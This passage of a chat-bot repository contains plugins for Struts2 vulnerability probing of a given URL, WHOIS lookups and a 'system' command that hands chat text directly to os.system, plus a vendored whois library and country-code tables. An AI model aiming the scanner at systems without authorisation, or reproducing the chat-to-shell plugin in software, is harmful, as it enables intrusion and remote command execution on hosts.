86 | self.msg.Reply("检测struts2-devmode超时..")
87 | try:
88 | req = requests.get(self.url + self.poc['ST2-032'], headers=headers, timeout=6, verify=False)
89 | self.check("struts2-032", req.text)
90 | except:
91 | self.msg.Reply("检测struts2-032超时..")
92 | try:
93 | req = requests.get(self.url + self.poc['ST2-037'], headers=headers, timeout=6, verify=False)
94 | self.check("struts2-037", req.text)
95 | except:
96 | self.msg.Reply("检测struts2-037超时..")
97 |
98 | def work(msg,info):
99 | msg.content=msg.content.strip()
100 | if msg.content.startswith("struts"):
101 | if not info.get('level', 3) < 4:
102 | return False
103 | try:
104 | url=msg.content.split(' ')[1]
105 | if url=='':
106 | raise Exception('网址为空')
107 | strutsVuln = struts_baseverify(url,msg)
108 | threading.Thread(target=strutsVuln.scan).start()
109 | except:
110 | return help(info)
111 | else:
112 | return False
113 | def help(info):
114 | if not info.get('level',3) < 4:
115 | return False
116 | return "#struts http://e.com/ 检测struts漏洞"
117 |
--------------------------------------------------------------------------------
/plugin/system.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import os
3 | def work(msg,info):
4 | msg=msg.content.strip()
5 | if msg.startswith("system"):
6 | level=info.get('level',3)
7 | if level<1:
8 | try:
9 | _,cmd=msg.split(' ',1)
10 | os.system(cmd)
11 | return '命令执行成功'
12 | except:
13 | return help(info)
14 | else:
15 | return False
16 | else:
17 | return False
18 | def help(info):
19 | if info.get('level',3)<1:
20 | return "#system command 执行系统命令"
--------------------------------------------------------------------------------
/plugin/whois.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | import pythonwhois
3 | import sys
4 | reload(sys)
5 | sys.setdefaultencoding('utf-8')
6 |
7 | def work(msg,info):
8 | msg = msg.content.strip()
9 | if msg.startswith("whois"):
10 | if not info.get('level', 3) < 4:
11 | return False
12 | try:
13 | msg = msg.split(' ')[-1]
14 | msg = msg.strip('/')
15 | if msg.count('://'):
16 | msg = msg.split("://")[1]
17 | result = pythonwhois.get_whois(msg)
18 | update = result.get('updated_date', None)
19 | create = result.get('creation_date', None)
20 | contacts = result.get('contacts', None)
21 | raw = result.get('raw', None)
22 | ret = ""
23 | if create:
24 | ret += '\n创建时间:' + str(create[0])
25 | if update:
26 | ret += '\n更新时间:' + str(update[0])
27 | if contacts:
28 | info = contacts.get('registrant',{})
29 | if not info:
30 | info = contacts.get('admin', {})
31 | if not info:
32 | info={}
33 | if info.get('city', None):
34 | ret += '\n城市:' + str(info.get('city', None))
35 | if info.get('fax', None):
36 | ret += '\n传真:' + str(info.get('fax', None))
37 | if info.get('name', None):
38 | ret += '\n名字:' + str(info.get('name', None))
39 | if info.get('state', None):
40 | ret += '\n地区:' + str(info.get('state', None))
41 | if info.get('phone', None):
42 | ret += '\n电话:' + str(info.get('phone', None))
43 | if info.get('street', None):
44 | ret += '\n街道:' + str(info.get('street', None))
45 | if info.get('country', None):
46 | ret += '\n国家:' + str(info.get('country', None))
47 | if info.get('postalcode', None):
48 | ret += '\n邮编:' + str(info.get('postalcode', None))
49 | if info.get('organization', None):
50 | ret += '\n组织:' + str(info.get('organization', None))
51 | if info.get('email', None):
52 | ret += '\n邮箱:' + str(info.get('email', None))
53 | if not ret and raw:
54 | return str(raw[0])
55 | return '域名:' + msg + ret
56 | except Exception, e:
57 | print e
58 |
59 | return help(info)
60 | else:
61 | return False
62 |
63 |
64 | def help(info):
65 | if not info.get('level',3) < 4:
66 | return False
67 | return "#whois example.com 字面意思"
68 |
--------------------------------------------------------------------------------
/pluginTemplate.py:
--------------------------------------------------------------------------------
1 | # coding:utf-8
2 | def work(msg, info):
3 | # msg参数具体有什么方法和作用请参考 https://github.com/pandolia/qqbot
4 | # info 参数为从用户配置读出来的,json代码,方便以后做添加功能
5 | if msg.content.startswith('command'):
6 | if info.get('level', 3) < 2: # 判断调用等级
7 | msg.Reply('sb') # 可以直接用这个发,不会结束函数调用
8 | return 'sb' # 处理命令并且返回
9 | else:
10 | return False
11 |
12 |
13 | def help(info): # 执行help命令会执行所有插件的help命令,返回不是一个字符串就做没有返回参数处理
14 | if info.get('level', 3) < 2: # 判断调用等级
15 | return '这个是sb的帮助信息'
16 |
--------------------------------------------------------------------------------
/pythonwhois/__init__.py:
--------------------------------------------------------------------------------
1 | from . import net, parse
2 |
3 | def get_whois(domain, normalized=[]):
4 | raw_data, server_list = net.get_whois_raw(domain, with_server_list=True)
5 | # Unlisted handles will be looked up on the last WHOIS server that was queried. This may be changed to also query
6 | # other servers in the future, if it turns out that there are cases where the last WHOIS server in the chain doesn't
7 | # actually hold the handle contact details, but another WHOIS server in the chain does.
8 | return parse.parse_raw_whois(raw_data, normalized=normalized, never_query_handles=False, handle_server=server_list[-1])
9 |
10 | def whois(*args, **kwargs):
11 | raise Exception("The whois() method has been replaced by a different method (with a different API), since pythonwhois 2.0. Either install the older pythonwhois 1.2.3, or change your code to use the new API.")
12 |
13 |
--------------------------------------------------------------------------------
/pythonwhois/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MiniSafe/Hobot/bc8aaf015022e238346282fce4f9c93868ae4cb1/pythonwhois/__init__.pyc
--------------------------------------------------------------------------------
/pythonwhois/countries.dat:
--------------------------------------------------------------------------------
1 | iso,name
2 | AF,Afghanistan
3 | AL,Albania
4 | DZ,Algeria
5 | AS,"American Samoa"
6 | AD,Andorra
7 | AO,Angola
8 | AI,Anguilla
9 | AQ,Antarctica
10 | AG,"Antigua and Barbuda"
11 | AR,Argentina
12 | AM,Armenia
13 | AW,Aruba
14 | AU,Australia
15 | AT,Austria
16 | AZ,Azerbaijan
17 | BS,Bahamas
18 | BH,Bahrain
19 | BD,Bangladesh
20 | BB,Barbados
21 | BY,Belarus
22 | BE,Belgium
23 | BZ,Belize
24 | BJ,Benin
25 | BM,Bermuda
26 | BT,Bhutan
27 | BO,Bolivia
28 | BA,"Bosnia and Herzegovina"
29 | BW,Botswana
30 | BV,"Bouvet Island"
31 | BR,Brazil
32 | BQ,"British Antarctic Territory"
33 | IO,"British Indian Ocean Territory"
34 | VG,"British Virgin Islands"
35 | BN,Brunei
36 | BG,Bulgaria
37 | BF,"Burkina Faso"
38 | BI,Burundi
39 | KH,Cambodia
40 | CM,Cameroon
41 | CA,Canada
42 | CT,"Canton and Enderbury Islands"
43 | CV,"Cape Verde"
44 | KY,"Cayman Islands"
45 | CF,"Central African Republic"
46 | TD,Chad
47 | CL,Chile
48 | CN,China
49 | CX,"Christmas Island"
50 | CC,"Cocos [Keeling] Islands"
51 | CO,Colombia
52 | KM,Comoros
53 | CG,"Congo - Brazzaville"
54 | CD,"Congo - Kinshasa"
55 | CK,"Cook Islands"
56 | CR,"Costa Rica"
57 | HR,Croatia
58 | CU,Cuba
59 | CY,Cyprus
60 | CZ,"Czech Republic"
61 | CI,"Côte d’Ivoire"
62 | DK,Denmark
63 | DJ,Djibouti
64 | DM,Dominica
65 | DO,"Dominican Republic"
66 | NQ,"Dronning Maud Land"
67 | DD,"East Germany"
68 | EC,Ecuador
69 | EG,Egypt
70 | SV,"El Salvador"
71 | GQ,"Equatorial Guinea"
72 | ER,Eritrea
73 | EE,Estonia
74 | ET,Ethiopia
75 | FK,"Falkland Islands"
76 | FO,"Faroe Islands"
77 | FJ,Fiji
78 | FI,Finland
79 | FR,France
80 | GF,"French Guiana"
81 | PF,"French Polynesia"
82 | TF,"French Southern Territories"
83 | FQ,"French Southern and Antarctic Territories"
84 | GA,Gabon
85 | GM,Gambia
86 | GE,Georgia
87 | DE,Germany
88 | GH,Ghana
89 | GI,Gibraltar
90 | GR,Greece
91 | GL,Greenland
92 | GD,Grenada
93 | GP,Guadeloupe
94 | GU,Guam
95 | GT,Guatemala
96 | GG,Guernsey
97 | GN,Guinea
98 | GW,Guinea-Bissau
99 | GY,Guyana
100 | HT,Haiti
101 | HM,"Heard Island and McDonald Islands"
102 | HN,Honduras
103 | HK,"Hong Kong"
104 | HU,Hungary
105 | IS,Iceland
106 | IN,India
107 | ID,Indonesia
108 | IR,Iran
109 | IQ,Iraq
110 | IE,Ireland
111 | IM,"Isle of Man"
112 | IL,Israel
113 | IT,Italy
114 | JM,Jamaica
115 | JP,Japan
116 | JE,Jersey
117 | JT,"Johnston Island"
118 | JO,Jordan
119 | KZ,Kazakhstan
120 | KE,Kenya
121 | KI,Kiribati
122 | KW,Kuwait
123 | KG,Kyrgyzstan
124 | LA,Laos
125 | LV,Latvia
126 | LB,Lebanon
127 | LS,Lesotho
128 | LR,Liberia
129 | LY,Libya
130 | LI,Liechtenstein
131 | LT,Lithuania
132 | LU,Luxembourg
133 | MO,"Macau SAR China"
134 | MK,Macedonia
135 | MG,Madagascar
136 | MW,Malawi
137 | MY,Malaysia
138 | MV,Maldives
139 | ML,Mali
140 | MT,Malta
141 | MH,"Marshall Islands"
142 | MQ,Martinique
143 | MR,Mauritania
144 | MU,Mauritius
145 | YT,Mayotte
146 | FX,"Metropolitan France"
147 | MX,Mexico
148 | FM,Micronesia
149 | MI,"Midway Islands"
150 | MD,Moldova
151 | MC,Monaco
152 | MN,Mongolia
153 | ME,Montenegro
154 | MS,Montserrat
155 | MA,Morocco
156 | MZ,Mozambique
157 | MM,"Myanmar [Burma]"
158 | NA,Namibia
159 | NR,Nauru
160 | NP,Nepal
161 | NL,Netherlands
162 | AN,"Netherlands Antilles"
163 | NT,"Neutral Zone"
164 | NC,"New Caledonia"
165 | NZ,"New Zealand"
166 | NI,Nicaragua
167 | NE,Niger
168 | NG,Nigeria
169 | NU,Niue
170 | NF,"Norfolk Island"
171 | KP,"North Korea"
172 | VD,"North Vietnam"
173 | MP,"Northern Mariana Islands"
174 | NO,Norway
175 | OM,Oman
176 | PC,"Pacific Islands Trust Territory"
177 | PK,Pakistan
178 | PW,Palau
179 | PS,"Palestinian Territories"
180 | PA,Panama
181 | PZ,"Panama Canal Zone"
182 | PG,"Papua New Guinea"
183 | PY,Paraguay
184 | YD,"People's Democratic Republic of Yemen"
185 | PE,Peru
186 | PH,Philippines
187 | PN,"Pitcairn Islands"
188 | PL,Poland
189 | PT,Portugal
190 | PR,"Puerto Rico"
191 | QA,Qatar
192 | RO,Romania
193 | RU,Russia
194 | RW,Rwanda
195 | RE,Réunion
196 | BL,"Saint Barthélemy"
197 | SH,"Saint Helena"
198 | KN,"Saint Kitts and Nevis"
199 | LC,"Saint Lucia"
200 | MF,"Saint Martin"
201 | PM,"Saint Pierre and Miquelon"
202 | VC,"Saint Vincent and the Grenadines"
203 | WS,Samoa
204 | SM,"San Marino"
205 | SA,"Saudi Arabia"
206 | SN,Senegal
207 | RS,Serbia
208 | CS,"Serbia and Montenegro"
209 | SC,Seychelles
210 | SL,"Sierra Leone"
211 | SG,Singapore
212 | SK,Slovakia
213 | SI,Slovenia
214 | SB,"Solomon Islands"
215 | SO,Somalia
216 | ZA,"South Africa"
217 | GS,"South Georgia and the South Sandwich Islands"
218 | KR,"South Korea"
219 | ES,Spain
220 | LK,"Sri Lanka"
221 | SD,Sudan
222 | SR,Suriname
223 | SJ,"Svalbard and Jan Mayen"
224 | SZ,Swaziland
225 | SE,Sweden
226 | CH,Switzerland
227 | SY,Syria
228 | ST,"São Tomé and Príncipe"
229 | TW,Taiwan
230 | TJ,Tajikistan
231 | TZ,Tanzania
232 | TH,Thailand
233 | TL,Timor-Leste
234 | TG,Togo
235 | TK,Tokelau
236 | TO,Tonga
237 | TT,"Trinidad and Tobago"
238 | TN,Tunisia
239 | TR,Turkey
240 | TM,Turkmenistan
241 | TC,"Turks and Caicos Islands"
242 | TV,Tuvalu
243 | UM,"U.S. Minor Outlying Islands"
244 | PU,"U.S. Miscellaneous Pacific Islands"
245 | VI,"U.S. Virgin Islands"
246 | UG,Uganda
247 | UA,Ukraine
248 | SU,"Union of Soviet Socialist Republics"
249 | AE,"United Arab Emirates"
250 | GB,"United Kingdom"
251 | US,"United States"
252 | ZZ,"Unknown or Invalid Region"
253 | UY,Uruguay
254 | UZ,Uzbekistan
255 | VU,Vanuatu
256 | VA,"Vatican City"
257 | VE,Venezuela
258 | VN,Vietnam
259 | WK,"Wake Island"
260 | WF,"Wallis and Futuna"
261 | EH,"Western Sahara"
262 | YE,Yemen
263 | ZM,Zambia
264 | ZW,Zimbabwe
265 | AX,"Åland Islands"
--------------------------------------------------------------------------------
/pythonwhois/countries3.dat:
--------------------------------------------------------------------------------
1 | "name","iso_name","iso2","iso3","numcode"
2 | "Antigua and Barbuda","ANTIGUA AND BARBUDA","AG","ATG",28
3 | "Bosnia and Herzegovina","BOSNIA AND HERZEGOVINA","BA","BIH",70
4 | "Cocos (Keeling) Islands","COCOS (KEELING) ISLANDS","CC","\N","\N"
5 | "Congo, the Democratic Republic of the","CONGO, THE DEMOCRATIC REPUBLIC OF THE","CD","COD",180
6 | "Cote D'Ivoire","COTE D'IVOIRE","CI","CIV",384
7 | "Fiji","FIJI","FJ","FJI",242
8 | "French Southern Territories","FRENCH SOUTHERN TERRITORIES","TF","\N","\N"
9 | "Heard Island and Mcdonald Islands","HEARD ISLAND AND MCDONALD ISLANDS","HM","\N","\N"
10 | "Holy See (Vatican City State)","HOLY SEE (VATICAN CITY STATE)","VA","VAT",336
11 | "Iran, Islamic Republic of","IRAN, ISLAMIC REPUBLIC OF","IR","IRN",364
12 | "Korea, Democratic People's Republic of","KOREA, DEMOCRATIC PEOPLE'S REPUBLIC OF","KP","PRK",408
13 | "Korea, Republic of","KOREA, REPUBLIC OF","KR","KOR",410
14 | "Belarus","BELARUS","BY","BLR",112
15 | "Lao People's Democratic Republic","LAO PEOPLE'S DEMOCRATIC REPUBLIC","LA","LAO",418
16 | "Macedonia, the Former Yugoslav Republic of","MACEDONIA, THE FORMER YUGOSLAV REPUBLIC OF","MK","MKD",807
17 | "United States","UNITED STATES","US","USA",840
18 | "Micronesia, Federated States of","MICRONESIA, FEDERATED STATES OF","FM","FSM",583
19 | "Moldova, Republic of","MOLDOVA, REPUBLIC OF","MD","MDA",498
20 | "Palestinian Territory, Occupied","PALESTINIAN TERRITORY, OCCUPIED","PS","\N","\N"
21 | "Pitcairn","PITCAIRN","PN","PCN",612
22 | "Reunion","REUNION","RE","REU",638
23 | "Saint Helena","SAINT HELENA","SH","SHN",654
24 | "Saint Kitts and Nevis","SAINT KITTS AND NEVIS","KN","KNA",659
25 | "Saint Pierre and Miquelon","SAINT PIERRE AND MIQUELON","PM","SPM",666
26 | "Sao Tome and Principe","SAO TOME AND PRINCIPE","ST","STP",678
27 | "Serbia and Montenegro","SERBIA AND MONTENEGRO","CS","\N","\N"
28 | "South Georgia and the South Sandwich Islands","SOUTH GEORGIA AND THE SOUTH SANDWICH ISLANDS","GS","\N","\N"
29 | "Svalbard and Jan Mayen","SVALBARD AND JAN MAYEN","SJ","SJM",744
30 | "Syrian Arab Republic","SYRIAN ARAB REPUBLIC","SY","SYR",760
31 | "Taiwan, Province of China","TAIWAN, PROVINCE OF CHINA","TW","TWN",158
32 | "Tanzania, United Republic of","TANZANIA, UNITED REPUBLIC OF","TZ","TZA",834
33 | "Timor-Leste","TIMOR-LESTE","TL","\N","\N"
34 | "Trinidad and Tobago","TRINIDAD AND TOBAGO","TT","TTO",780
35 | "Mexico","MEXICO","MX","MEX",484
36 | "Myanmar","MYANMAR","MM","MMR",104
37 | "Virgin Islands, British","VIRGIN ISLANDS, BRITISH","VG","VGB",92
38 | "Virgin Islands, U.s.","VIRGIN ISLANDS, U.S.","VI","VIR",850
39 | "Wallis and Futuna","WALLIS AND FUTUNA","WF","WLF",876
40 | "Albania","ALBANIA","AL","ALB",8
41 | "Algeria","ALGERIA","DZ","DZA",12
42 | "American Samoa","AMERICAN SAMOA","AS","ASM",16
43 | "Vanuatu","VANUATU","VU","VUT",548
44 | "Yemen","YEMEN","YE","YEM",887
45 | "Andorra","ANDORRA","AD","AND",20
46 | "Angola","ANGOLA","AO","AGO",24
47 | "Anguilla","ANGUILLA","AI","AIA",660
48 | "Argentina","ARGENTINA","AR","ARG",32
49 | "Armenia","ARMENIA","AM","ARM",51
50 | "Aruba","ARUBA","AW","ABW",533
51 | "Australia","AUSTRALIA","AU","AUS",36
52 | "Austria","AUSTRIA","AT","AUT",40
53 | "Azerbaijan","AZERBAIJAN","AZ","AZE",31
54 | "Bahamas","BAHAMAS","BS","BHS",44
55 | "Bahrain","BAHRAIN","BH","BHR",48
56 | "Bangladesh","BANGLADESH","BD","BGD",50
57 | "Barbados","BARBADOS","BB","BRB",52
58 | "Belgium","BELGIUM","BE","BEL",56
59 | "Benin","BENIN","BJ","BEN",204
60 | "Bermuda","BERMUDA","BM","BMU",60
61 | "Bhutan","BHUTAN","BT","BTN",64
62 | "Bolivia","BOLIVIA","BO","BOL",68
63 | "Botswana","BOTSWANA","BW","BWA",72
64 | "Bouvet Island","BOUVET ISLAND","BV","\N","\N"
65 | "Brazil","BRAZIL","BR","BRA",76
66 | "British Indian Ocean Territory","BRITISH INDIAN OCEAN TERRITORY","IO","\N","\N"
67 | "Brunei Darussalam","BRUNEI DARUSSALAM","BN","BRN",96
68 | "Bulgaria","BULGARIA","BG","BGR",100
69 | "Burkina Faso","BURKINA FASO","BF","BFA",854
70 | "Burundi","BURUNDI","BI","BDI",108
71 | "Cambodia","CAMBODIA","KH","KHM",116
72 | "Cameroon","CAMEROON","CM","CMR",120
73 | "Canada","CANADA","CA","CAN",124
74 | "Cape Verde","CAPE VERDE","CV","CPV",132
75 | "Malta","MALTA","MT","MLT",470
76 | "Cayman Islands","CAYMAN ISLANDS","KY","CYM",136
77 | "Chad","CHAD","TD","TCD",148
78 | "Chile","CHILE","CL","CHL",152
79 | "China","CHINA","CN","CHN",156
80 | "Christmas Island","CHRISTMAS ISLAND","CX","\N","\N"
81 | "Colombia","COLOMBIA","CO","COL",170
82 | "Comoros","COMOROS","KM","COM",174
83 | "Cook Islands","COOK ISLANDS","CK","COK",184
84 | "Costa Rica","COSTA RICA","CR","CRI",188
85 | "Croatia","CROATIA","HR","HRV",191
86 | "Cuba","CUBA","CU","CUB",192
87 | "Cyprus","CYPRUS","CY","CYP",196
88 | "Czech Republic","CZECH REPUBLIC","CZ","CZE",203
89 | "Denmark","DENMARK","DK","DNK",208
90 | "Djibouti","DJIBOUTI","DJ","DJI",262
91 | "Dominica","DOMINICA","DM","DMA",212
92 | "Dominican Republic","DOMINICAN REPUBLIC","DO","DOM",214
93 | "Ecuador","ECUADOR","EC","ECU",218
94 | "Egypt","EGYPT","EG","EGY",818
95 | "Equatorial Guinea","EQUATORIAL GUINEA","GQ","GNQ",226
96 | "Eritrea","ERITREA","ER","ERI",232
97 | "Estonia","ESTONIA","EE","EST",233
98 | "Ethiopia","ETHIOPIA","ET","ETH",231
99 | "Faroe Islands","FAROE ISLANDS","FO","FRO",234
100 | "Finland","FINLAND","FI","FIN",246
101 | "France","FRANCE","FR","FRA",250
102 | "French Guiana","FRENCH GUIANA","GF","GUF",254
103 | "French Polynesia","FRENCH POLYNESIA","PF","PYF",258
104 | "Gabon","GABON","GA","GAB",266
105 | "Gambia","GAMBIA","GM","GMB",270
106 | "Georgia","GEORGIA","GE","GEO",268
107 | "Germany","GERMANY","DE","DEU",276
108 | "Ghana","GHANA","GH","GHA",288
109 | "Gibraltar","GIBRALTAR","GI","GIB",292
110 | "Greece","GREECE","GR","GRC",300
111 | "Greenland","GREENLAND","GL","GRL",304
112 | "Grenada","GRENADA","GD","GRD",308
113 | "Guadeloupe","GUADELOUPE","GP","GLP",312
114 | "Guam","GUAM","GU","GUM",316
115 | "Guatemala","GUATEMALA","GT","GTM",320
116 | "Guinea","GUINEA","GN","GIN",324
117 | "Guinea-Bissau","GUINEA-BISSAU","GW","GNB",624
118 | "Guyana","GUYANA","GY","GUY",328
119 | "Haiti","HAITI","HT","HTI",332
120 | "Honduras","HONDURAS","HN","HND",340
121 | "Hong Kong","HONG KONG","HK","HKG",344
122 | "Hungary","HUNGARY","HU","HUN",348
123 | "Iceland","ICELAND","IS","ISL",352
124 | "India","INDIA","IN","IND",356
125 | "Indonesia","INDONESIA","ID","IDN",360
126 | "Iraq","IRAQ","IQ","IRQ",368
127 | "Israel","ISRAEL","IL","ISR",376
128 | "Italy","ITALY","IT","ITA",380
129 | "Jamaica","JAMAICA","JM","JAM",388
130 | "Japan","JAPAN","JP","JPN",392
131 | "Jordan","JORDAN","JO","JOR",400
132 | "Kazakhstan","KAZAKHSTAN","KZ","KAZ",398
133 | "Kenya","KENYA","KE","KEN",404
134 | "Kiribati","KIRIBATI","KI","KIR",296
135 | "Kuwait","KUWAIT","KW","KWT",414
136 | "Kyrgyzstan","KYRGYZSTAN","KG","KGZ",417
137 | "Latvia","LATVIA","LV","LVA",428
138 | "Lesotho","LESOTHO","LS","LSO",426
139 | "Liberia","LIBERIA","LR","LBR",430
140 | "Libyan Arab Jamahiriya","LIBYAN ARAB JAMAHIRIYA","LY","LBY",434
141 | "Lithuania","LITHUANIA","LT","LTU",440
142 | "Luxembourg","LUXEMBOURG","LU","LUX",442
143 | "Macao","MACAO","MO","MAC",446
144 | "Madagascar","MADAGASCAR","MG","MDG",450
145 | "Malawi","MALAWI","MW","MWI",454
146 | "Malaysia","MALAYSIA","MY","MYS",458
147 | "Maldives","MALDIVES","MV","MDV",462
148 | "Mali","MALI","ML","MLI",466
149 | "Marshall Islands","MARSHALL ISLANDS","MH","MHL",584
150 | "Martinique","MARTINIQUE","MQ","MTQ",474
151 | "Mauritius","MAURITIUS","MU","MUS",480
152 | "Mayotte","MAYOTTE","YT","\N","\N"
153 | "Monaco","MONACO","MC","MCO",492
154 | "Mongolia","MONGOLIA","MN","MNG",496
155 | "Montserrat","MONTSERRAT","MS","MSR",500
156 | "Morocco","MOROCCO","MA","MAR",504
157 | "Mozambique","MOZAMBIQUE","MZ","MOZ",508
158 | "Namibia","NAMIBIA","NA","NAM",516
159 | "Nauru","NAURU","NR","NRU",520
160 | "Nepal","NEPAL","NP","NPL",524
161 | "Netherlands","NETHERLANDS","NL","NLD",528
162 | "New Caledonia","NEW CALEDONIA","NC","NCL",540
163 | "New Zealand","NEW ZEALAND","NZ","NZL",554
164 | "Nicaragua","NICARAGUA","NI","NIC",558
165 | "Niger","NIGER","NE","NER",562
166 | "Nigeria","NIGERIA","NG","NGA",566
167 | "Niue","NIUE","NU","NIU",570
168 | "Norfolk Island","NORFOLK ISLAND","NF","NFK",574
169 | "Northern Mariana Islands","NORTHERN MARIANA ISLANDS","MP","MNP",580
170 | "Norway","NORWAY","NO","NOR",578
171 | "Oman","OMAN","OM","OMN",512
172 | "Pakistan","PAKISTAN","PK","PAK",586
173 | "Palau","PALAU","PW","PLW",585
174 | "Panama","PANAMA","PA","PAN",591
175 | "Paraguay","PARAGUAY","PY","PRY",600
176 | "Peru","PERU","PE","PER",604
177 | "Philippines","PHILIPPINES","PH","PHL",608
178 | "Poland","POLAND","PL","POL",616
179 | "Portugal","PORTUGAL","PT","PRT",620
180 | "Puerto Rico","PUERTO RICO","PR","PRI",630
181 | "Qatar","QATAR","QA","QAT",634
182 | "Romania","ROMANIA","RO","ROM",642
183 | "Russian Federation","RUSSIAN FEDERATION","RU","RUS",643
184 | "Rwanda","RWANDA","RW","RWA",646
185 | "Saint Lucia","SAINT LUCIA","LC","LCA",662
186 | "Saint Vincent and the Grenadines","SAINT VINCENT AND THE GRENADINES","VC","VCT",670
187 | "Samoa","SAMOA","WS","WSM",882
188 | "San Marino","SAN MARINO","SM","SMR",674
189 | "Senegal","SENEGAL","SN","SEN",686
190 | "Seychelles","SEYCHELLES","SC","SYC",690
191 | "Sierra Leone","SIERRA LEONE","SL","SLE",694
192 | "Singapore","SINGAPORE","SG","SGP",702
193 | "Slovakia","SLOVAKIA","SK","SVK",703
194 | "Slovenia","SLOVENIA","SI","SVN",705
195 | "Solomon Islands","SOLOMON ISLANDS","SB","SLB",90
196 | "Somalia","SOMALIA","SO","SOM",706
197 | "South Africa","SOUTH AFRICA","ZA","ZAF",710
198 | "Spain","SPAIN","ES","ESP",724
199 | "Sri Lanka","SRI LANKA","LK","LKA",144
200 | "Sudan","SUDAN","SD","SDN",736
201 | "Suriname","SURINAME","SR","SUR",740
202 | "Swaziland","SWAZILAND","SZ","SWZ",748
203 | "Sweden","SWEDEN","SE","SWE",752
204 | "Switzerland","SWITZERLAND","CH","CHE",756
205 | "Thailand","THAILAND","TH","THA",764
206 | "Togo","TOGO","TG","TGO",768
207 | "Tokelau","TOKELAU","TK","TKL",772
208 | "Tonga","TONGA","TO","TON",776
209 | "Tunisia","TUNISIA","TN","TUN",788
210 | "Turkey","TURKEY","TR","TUR",792
211 | "Turkmenistan","TURKMENISTAN","TM","TKM",795
212 | "Turks and Caicos Islands","TURKS AND CAICOS ISLANDS","TC","TCA",796
213 | "Tuvalu","TUVALU","TV","TUV",798
214 | "Uganda","UGANDA","UG","UGA",800
215 | "Ukraine","UKRAINE","UA","UKR",804
216 | "United Kingdom","UNITED KINGDOM","GB","GBR",826
217 | "United States Minor Outlying Islands","UNITED STATES MINOR OUTLYING ISLANDS","UM","\N","\N"
218 | "Uruguay","URUGUAY","UY","URY",858
219 | "Uzbekistan","UZBEKISTAN","UZ","UZB",860
220 | "Venezuela","VENEZUELA","VE","VEN",862
221 | "Viet Nam","VIET NAM","VN","VNM",704
222 | "Western Sahara","WESTERN SAHARA","EH","ESH",732
223 | "Zambia","ZAMBIA","ZM","ZMB",894
224 | "Zimbabwe","ZIMBABWE","ZW","ZWE",716
225 | "Antarctica","ANTARCTICA","AQ","\N","\N"
226 | "Belize","BELIZE","BZ","BLZ",84
227 | "Central African Republic","CENTRAL AFRICAN REPUBLIC","CF","CAF",140
228 | "El Salvador","EL SALVADOR","SV","SLV",222
229 | "Ireland","IRELAND","IE","IRL",372
230 | "Lebanon","LEBANON","LB","LBN",422
231 | "Liechtenstein","LIECHTENSTEIN","LI","LIE",438
232 | "Mauritania","MAURITANIA","MR","MRT",478
233 | "Afghanistan","AFGHANISTAN","AF","AFG",4
234 | "Falkland Islands (Malvinas)","FALKLAND ISLANDS (MALVINAS)","FK","FLK",238
235 | "Netherlands Antilles","NETHERLANDS ANTILLES","AN","ANT",530
236 | "Congo","CONGO","CG","COG",178
237 | "Papua New Guinea","PAPUA NEW GUINEA","PG","PNG",598
238 | "Saudi Arabia","SAUDI ARABIA","SA","SAU",682
239 | "Tajikistan","TAJIKISTAN","TJ","TJK",762
240 | "United Arab Emirates","UNITED ARAB EMIRATES","AE","ARE",784
--------------------------------------------------------------------------------
/pythonwhois/net.py:
--------------------------------------------------------------------------------
1 | import re
2 | import socket
3 | import sys
4 | from codecs import encode, decode
5 |
6 | from . import shared
7 |
8 |
9 | def get_whois_raw(domain, server="", previous=None, rfc3490=True, never_cut=False, with_server_list=False, server_list=None):
10 | previous = previous or []
11 | server_list = server_list or []
12 | # Sometimes IANA simply won't give us the right root WHOIS server
13 | exceptions = {
14 | ".ac.uk": "whois.ja.net",
15 | ".ps": "whois.pnina.ps",
16 | ".buzz": "whois.nic.buzz",
17 | ".moe": "whois.nic.moe",
18 | # The following is a bit hacky, but IANA won't return the right answer for example.com because it's a direct registration.
19 | "example.com": "whois.verisign-grs.com"
20 | }
21 |
22 | if rfc3490:
23 | if sys.version_info < (3, 0):
24 | domain = encode( domain if type(domain) is unicode else decode(domain, "utf8"), "idna" )
25 | else:
26 | domain = encode(domain, "idna").decode("ascii")
27 |
28 | if len(previous) == 0 and server == "":
29 | # Root query
30 | is_exception = False
31 | for exception, exc_serv in exceptions.items():
32 | if domain.endswith(exception):
33 | is_exception = True
34 | target_server = exc_serv
35 | break
36 | if is_exception == False:
37 | target_server = get_root_server(domain)
38 | else:
39 | target_server = server
40 | if target_server == "whois.jprs.jp":
41 | request_domain = "%s/e" % domain # Suppress Japanese output
42 | elif domain.endswith(".de") and ( target_server == "whois.denic.de" or target_server == "de.whois-servers.net" ):
43 | request_domain = "-T dn,ace %s" % domain # regional specific stuff
44 | elif target_server == "whois.verisign-grs.com":
45 | request_domain = "=%s" % domain # Avoid partial matches
46 | else:
47 | request_domain = domain
48 | response = whois_request(request_domain, target_server)
49 | if never_cut:
50 | # If the caller has requested to 'never cut' responses, he will get the original response from the server (this is
51 | # useful for callers that are only interested in the raw data). Otherwise, if the target is verisign-grs, we will
52 | # select the data relevant to the requested domain, and discard the rest, so that in a multiple-option response the
53 | # parsing code will only touch the information relevant to the requested domain. The side-effect of this is that
54 | # when `never_cut` is set to False, any verisign-grs responses in the raw data will be missing header, footer, and
55 | # alternative domain options (this is handled a few lines below, after the verisign-grs processing).
56 | new_list = [response] + previous
57 | if target_server == "whois.verisign-grs.com":
58 | # VeriSign is a little... special. As it may return multiple full records and there's no way to do an exact query,
59 | # we need to actually find the correct record in the list.
60 | for record in response.split("\n\n"):
61 | if re.search("Domain Name: %s\n" % domain.upper(), record):
62 | response = record
63 | break
64 | if never_cut == False:
65 | new_list = [response] + previous
66 | server_list.append(target_server)
67 | for line in [x.strip() for x in response.splitlines()]:
68 | match = re.match("(refer|whois server|referral url|whois server|registrar whois):\s*([^\s]+\.[^\s]+)", line, re.IGNORECASE)
69 | if match is not None:
70 | referal_server = match.group(2)
71 | if referal_server != server and "://" not in referal_server: # We want to ignore anything non-WHOIS (eg. HTTP) for now.
72 | # Referal to another WHOIS server...
73 | return get_whois_raw(domain, referal_server, new_list, server_list=server_list, with_server_list=with_server_list)
74 | if with_server_list:
75 | return (new_list, server_list)
76 | else:
77 | return new_list
78 |
79 | def get_root_server(domain):
80 | data = whois_request(domain, "whois.iana.org")
81 | for line in [x.strip() for x in data.splitlines()]:
82 | match = re.match("refer:\s*([^\s]+)", line)
83 | if match is None:
84 | continue
85 | return match.group(1)
86 | raise shared.WhoisException("No root WHOIS server found for domain.")
